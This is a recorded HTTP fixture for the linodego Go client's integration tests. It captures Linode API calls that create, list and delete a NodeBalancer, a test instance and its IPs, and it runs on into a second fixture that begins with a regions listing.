{"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":1136806}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 1017206, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-247.ip.linodeusercontent.com", "ipv4": "172.232.86.247", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "337" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017206/configs method: POST response: body: '{"id": 1680063, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 1017206, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-z6fke1rt9288","root_pass":"XVi[6U454,1\u003e1e9w^694958nBi;jTB!wWPW3UVs\\kc4swX,+(f'',j2HL~$O)xZ#h","image":"linode/debian9","firewall_id":1136806,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66622461, "label": "go-test-ins-z6fke1rt9288", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.104.206.164"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "bb03aee31fa7539cfeeeaf2fd3ea5d5c9f4d8e68", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622461/ips method: POST response: body: '{"address": "192.168.133.138", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622461, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "224" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.133.138:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017206/configs/1680063/nodes method: POST response: body: '{"id": 2077581521, "address": "192.168.133.138:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1680063, "nodebalancer_id": 1017206}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips?page=1 method: GET response: body: '{"page": 1, "pages": 1, "results": 3, "data": [{"address": "172.104.206.164", "gateway": "172.104.206.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-104-206-164.ip.linodeusercontent.com", "linode_id": 66622461, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}, {"address": "192.168.133.138", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 66622461, "region": "ap-west", "vpc_nat_1_1": null, "reserved": false}, {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 66622461, "region": "ap-west", "public": true}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "760" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622461/nodebalancers?page=1 method: GET response: body: '{"data": [{"id": 1017206, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-86-247.ip.linodeusercontent.com", "ipv4": "172.232.86.247", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "386" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017206/configs/1680063/nodes/2077581521 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66622461 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017206/configs/1680063 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/1017206 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 16:26:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Rebuild.yaml000066400000000000000000000761611474652371000315350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 